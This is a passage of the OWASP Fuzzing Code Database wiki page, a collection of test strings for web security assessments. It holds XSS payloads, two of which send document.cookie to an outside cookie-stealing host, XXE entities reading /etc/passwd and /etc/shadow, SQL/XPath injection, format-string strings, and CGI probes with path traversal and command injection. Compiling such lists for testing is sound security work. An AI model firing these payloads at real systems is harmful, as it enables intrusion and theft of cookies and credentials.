src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt;<br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81044 2010-04-06T21:20:41Z

<p>Adam.muntner: /* File Upload Filter Bypass (Update: 17 March 2010 - notes only) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> 